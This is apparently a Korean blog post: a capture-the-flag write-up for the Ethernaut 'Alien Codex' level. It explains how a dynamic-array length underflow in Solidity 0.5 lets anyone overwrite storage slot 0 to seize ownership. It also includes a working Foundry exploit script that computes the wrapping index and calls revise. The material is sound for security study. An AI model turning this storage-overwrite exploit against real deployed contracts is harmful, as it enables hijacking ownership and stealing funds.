c0mpos3r

[Ethernaut] 19. Alien Codex WriteUp 본문

Web3/Hacking

[Ethernaut] 19. Alien Codex WriteUp

음대생 2025. 8. 9. 04:02

1. 문제 분석

You've uncovered an Alien contract. Claim ownership to complete the level.

당신은 외계인 계약을 발견했습니다. 수준을 완료하기위한 소유권을 청구합니다.

1-1. Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

 

동적 배열의 길이 조작을 통한 스토리지 덮어쓰기 취약점을 가지고 있다. 이를 통해 컨트랙트의 소유권을 탈취할 수 있는 심각한 결함을 포함

 

이 Contract는 Ownable 컨트랙트를 상속받아 소유권 개념을 가집니다. 주된 기능은 bytes32 타입의 데이터를 codex라는 동적 배열에 기록하고 관리하는 것입니다.

  • 상태 변수:
    • contact (bool): 특정 함수들을 호출하기 위한 조건 플래그입니다. 기본값은 false입니다.
    • codex (bytes32[]): bytes32 데이터를 저장하는 동적 배열입니다.
    • owner (address): Ownable로부터 상속받은 변수로, 컨트랙트 배포자의 주소가 저장됩니다. EVM 스토리지의 슬롯 0에 위치합니다.
  • 주요 함수:
    • makeContact(): contact 변수를 true로 설정하여 다른 기능들을 활성화합니다.
    • record(): codex 배열에 새로운 데이터를 추가합니다.
    • retract(): codex 배열의 마지막 요소를 제거하기 위해 길이를 1 감소시킵니다. (핵심)
    • revise(): codex 배열의 특정 인덱스(i)에 있는 데이터를 수정합니다.

1-2. Alien Codex Contract 분석 

핵심 취약점: 배열 Underflow Storage Crash 

이 Contract의 가장 큰 문제는 retract 함수와 구버전 솔리디티(0.5.x)의 특성이 결합하여 발생합니다.

1. 정수 언더플로우 (Integer Underflow)

retract 함수는 codex.length-- 코드를 사용하여 배열의 길이를 줄입니다. 만약 codex 배열의 길이가 0인 상태에서 이 함수를 한 번 더 호출하면, uint 타입의 길이 변수에서 언더플로우(Underflow)가 발생합니다.

  • 0 - 1 연산의 결과는 uint 타입의 최댓값, 즉 이 됩니다.
  • 결과적으로, codex 배열의 길이는 거의 무한대에 가까운 엄청나게 큰 값으로 설정됩니다.

2. EVM Storage Layout

컨트랙트의 데이터는 스토리지(Storage)라는 영구적인 공간에 순서대로 저장됩니다.

  • 슬롯 0: 첫 번째 상태 변수인 owner 주소 (상속받은 변수)
  • 슬롯 1: 두 번째 상태 변수인 codex 배열의 길이(length)
  • 슬롯 keccak256(1) 부터...: codex 배열의 실제 데이터

3. 취약점의 결합

언더플로우로 인해 codex의 길이가 이 되면, revise(uint i, ...) 함수의 경계 검사(i < codex.length)가 사실상 무력화 됩니다. 이제 공격자는 거의 모든 i 값에 대해 검사를 통과할 수 있습니다.

이는 공격자가 codex 배열의 인덱스를 조작하여 컨트랙트의 모든 스토리지 슬롯에 원하는 값을 쓸 수 있게 됨을 의미합니다.

공격의 최종 목표는 owner 변수가 저장된 슬롯 0의 값을 자신의 주소로 덮어쓰는 것입니다.


공격 시나리오 

  1. makeContact() 호출: 먼저 contact flagtrue로 만들어 다른 함수를 사용할 수 있게 합니다.
  2. retract() 호출로 언더플로우 유발:
    • 만약 codex 배열에 요소가 있다면 retract()를 계속 호출하여 길이를 0으로 만듭니다.
    • codex.length가 0이 되면 retract()를 한 번 더 호출하여 언더플로우를 일으킵니다.이제 codex.length는 입니다.
  3. owner 슬롯 위치 계산: codex 배열의 데이터는 keccak256(1) Slot부터 시작합니다. Slot 0을 덮어쓰기 위한 Index i는 다음과 같이 계산할 수 있습니다.이 i 값은 codex[i]가 스토리지 Slot 0을 가리키게 만듭니다.
  4. revise() 호출로 소유권 탈취: 계산된 인덱스 i와 공격자 자신의 주소를 bytes32로 변환한 값을 인자로 넣어 revise() 함수를 호출합니다.
  5. Solidity
    // attacker_address는 공격자의 이더리움 주소
    codex.revise(i, bytes32(uint256(uint160(attacker_address))));
    
  6. 소유권 확인: 이제 컨트랙트의 owner는 공격자의 주소로 변경되었습니다. 공격자는 onlyOwner 제어자가 붙은 모든 함수를 호출할 수 있게 됩니다.

1-3. Reference 분석

1. 동적 배열의 스토리지 작동 방식 

이더리움 가상 머신(EVM)의 스토리지는 단순히 32바이트 크기의 슬롯(slot)들이 끝없이 이어진 거대한 창고와 같습니다.

변수는 선언된 순서대로 이 창고의 0번, 1번, 2번... 슬롯에 차곡차곡 저장됩니다.

하지만 동적 배열(dynamic array)은 조금 특별하게 처리됩니다.

  • 길이 저장: 동적 배열이 선언된 슬롯(예: p번 슬롯)에는 배열의 데이터가 직접 저장되지 않고, 대신 배열의 길이(length)가 저장됩니다.
  • 데이터 위치: 실제 데이터는 완전히 다른 위치에 저장됩니다. 그 시작 주소는 배열이 선언된 슬롯 번호 p를 keccak256 해시 함수로 계산한 값입니다. 즉, 데이터는 keccak256(p) Slot부터 순차적으로 저장됩니다.

예시: 만약 bytes32[] public my_array;가 컨트랙트의 두 번째 변수로 선언되어 슬롯 1에 위치한다면:

  • 슬롯 1: my_array의 길이를 저장합니다.
  • 슬롯 keccak256(1): my_array[0]의 데이터를 저장합니다.
  • 슬롯 keccak256(1) + 1: my_array[1]의 데이터를 저장합니다.
  • 슬롯 keccak256(1) + 2: my_array[2]의 데이터를 저장합니다.

2. ABI 명세 이해하기 

ABI(Application Binary Interface)는 Contract 외부에서 함수를 호출하고 데이터를 주고받기 위한 "통신 규칙"입니다.

이 규칙에는 데이터를 어떻게 바이너리 형태로 인코딩(encoding)할지에 대한 명세가 포함됩니다.

여기서 중요한 것은 abi.encodePacked입니다. 이 함수는 여러 데이터를 패딩(padding) 없이 그대로 이어 붙여 하나의 바이너리 데이터로 만듭니다. 예를 들어, abi.encodePacked(uint256(1))은 숫자 1을 32바이트의 0x00...01로 변환합니다.

이것이 왜 중요할까요? 바로 위에서 설명한 배열 데이터의 시작 주소(keccak256(p))를 계산할 때, EVM은 내부적으로 이와 유사한 방식으로 슬롯 번호 p를 인코딩한 후 해시하기 때문입니다. 따라서 공격자는 이 규칙을 이용해 오프체인(off-chain)에서 정확한 스토리지 슬롯 주소를 미리 계산할 수 있습니다.


3. 매우 교묘한 접근법 (The Underhanded Approach) 

이제 위 두 가지 개념을 조합하여 어떻게 교묘한 공격이 가능한지 알아보겠습니다. 이 공격은 주로 배열의 길이 검증을 우회하고 임의의 스토리지 슬롯을 덮어쓰는 것을 목표로 합니다.

가정:

  • 공격 대상 컨트랙트에는 owner 변수가 슬롯 0에 저장되어 있습니다.
  • my_array라는 동적 배열이 슬롯 1에 있습니다.
  • 배열의 길이를 언더플로우(underflow) 시켜 거대한 수()로 만들 수 있는 취약점이 있습니다.
  • 사용자가 인덱스를 지정하여 배열의 값을 수정하는 함수 revise(uint index, bytes32 data)가 있습니다.

공격 시나리오:

  1. 길이 조작: 먼저 배열 길이 언더플로우 취약점을 이용해 my_array의 길이를 거의 무한대()로 만듭니다. 이제 revise 함수의 index < my_array.length와 같은 경계 검사는 사실상 무력화됩니다.
  2. 목표 설정: 공격 목표는 owner 변수가 저장된 슬롯 0을 덮어쓰는 것입니다.
  3. 인덱스 계산 (가장 교묘한 부분):
    • my_array의 데이터는 keccak256(1) 슬롯부터 시작합니다.
    • my_array[i]의 주소는 keccak256(1) + i 입니다.
    • 우리는 이 주소가 슬롯 0이 되게 하는 인덱스 i를 찾아야 합니다.
    • 즉, keccak256(1) + i = 0 방정식을 풀어야 합니다.
    uint256 산술에서 위 방정식을 풀면, i는 다음과 같습니다.이는 과 같습니다. 이것이 바로 우리가 사용할 악의적인 인덱스입니다.
  4. 공격 실행: 공격자는 revise(i, attacker_address) 함수를 호출합니다. 이때 i는 위에서 계산한 악의적인 인덱스이고, attacker_address는 공격자 자신의 주소입니다.

결과: my_array[i]에 값을 쓰는 연산은 실제로는 스토리지 슬롯 0에 공격자의 주소를 덮어쓰게 됩니다. 이로써 공격자는 컨트랙트의 owner가 되어 모든 권한을 탈취합니다.

2. Solving

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";

interface IAlienCodex {
    // Events (if any were in the original contract, add them here)
    
    // View functions
    function contact() external view returns (bool);
    function codex(uint256 index) external view returns (bytes32);
    function owner() external view returns (address);
    
    // State-changing functions
    function makeContact() external;
    function record(bytes32 _content) external;
    function retract() external;
    function revise(uint256 i, bytes32 _content) external;
    
    // Ownable functions
    function transferOwnership(address newOwner) external;
    function renounceOwnership() external;
}

contract Attack {
    address public target;

    constructor(address _target) {
        target = _target;
    }

    function attack() public {
        IAlienCodex ac = IAlienCodex(target);

        ac.makeContact();
        ac.retract();

        uint256 arraySlotStart = uint256(keccak256(abi.encode(1)));     // slot index for 0th item of array

        uint256 targetIndex = 0;
        unchecked {
            targetIndex = 0;
            targetIndex -= 1;                                           // overflows to 2**256 - 1
            targetIndex -= arraySlotStart;                              // 2 ** 256 - 1 - arraySlotStart
            targetIndex += 1;                                           // 2**256 - arraySlotStart
        }                                                               // targetIndex + arraySlotStart = 2**256 -> slot index overflows to 0
                                                                        
        ac.revise(targetIndex, bytes32(uint256(uint160(msg.sender)))); // revise element in targetIndex to user address
    }
}

contract CounterScript is Script {
    address public instance = 0xC702700eC140602D040BC0DbB3ba9d0f41128ba3;

    function run() public {
        vm.startBroadcast();

        Attack a = new Attack(instance);
        a.attack();

        vm.stopBroadcast();
    }
}

3. 결론

EVM의 메모리 구조, 컴파일러 버전과 같은 시스템의 근본적인 동작 원리를 이해하는 것이 진정한 Smart Contract 보안의 핵심이다.

'Web3 > Hacking' 카테고리의 다른 글

[Ethernaut] 20. Denial WriteUp  (0) 2025.08.24
[Ethernaut] 21. Shop WriteUp  (0) 2025.08.20
[Ethernaut] 18. MagicNumber WriteUp  (1) 2025.08.09
[Ethernaut] 17. Recovery WriteUp  (1) 2025.08.08
[Ethernaut] 16. Preservation WriteUp  (1) 2025.08.08